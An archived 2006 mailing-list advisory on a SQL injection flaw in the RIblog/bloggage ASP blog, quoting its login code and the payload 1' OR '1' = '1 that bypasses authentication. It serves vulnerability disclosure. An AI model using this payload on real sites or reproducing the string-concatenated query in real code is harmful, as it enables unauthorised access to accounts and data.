<<< Date Index >>>     <<< Thread Index >>>

RIblog Remote SQL Injection Exploit



------------------------------------------------------------------
          - RIblog Remote SQL Injection Exploit -
   -= http://colander.altervista.org/advisory/riblog.txt =-
------------------------------------------------------------------

                        -= RIblog =-



Omnipresent
April 21, 2006


Vunerability(s):
----------------
SQL Injection


Product:
--------
bloggage

Vendor:
--------
http://romedahl.com


Description of product:
-----------------------

It is a Blog.

Not Available Yet.


Vulnerability / Exploit:
------------------------

This software is vulnerable to a Remote SQL Injection.

Take a look of this script in 

[...]

doLogin = Request.Form("login") 'login


If doLogin = "" Then

 Trim(Request.Form("login"))

End If

' Submit to self
If doLogin = "true" Then


                        If sUserName = "" Then
                         sUserName = Trim(Request.Form("UserName"))
                        End If

                        If sPassword = "" Then
                         sPassword = Trim(Request.Form("Password"))
                        End If


                        Set myRecSet = server.createobject("adodb.recordset")
                        strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data 
Source=" & strDBPath & ";"
                        Set myConn = server.createobject("adodb.connection")
                        myConn.open strConn

                        strSQL = "SELECT * FROM tUser WHERE  fuser = '"& 
sUserName  &"' and fpassword = '" & sPassword &"';"


[...]

As you can see, the string strSQL is the query passed to the DB. And the 
variables sUserName and sPassword are not properly
sanitised. So, an attacker can exploit this vulnerability by injection SQL 
Code. Like the example below:

1' OR '1' = '1

The attacker have to put the string above in the username and password fields.


the query will be:

strSQL = "SELECT * FROM tUser WHERE  fuser = '1' OR '1' ='1' and fpassword = 
'1' OR '1' ='1';

The attacker can gain access to the blog and edit, view comments, etc, etc.


Vendor Status
-------------

Not informed!

Credits:
--------
omnipresent
omnipresent@xxxxxxxx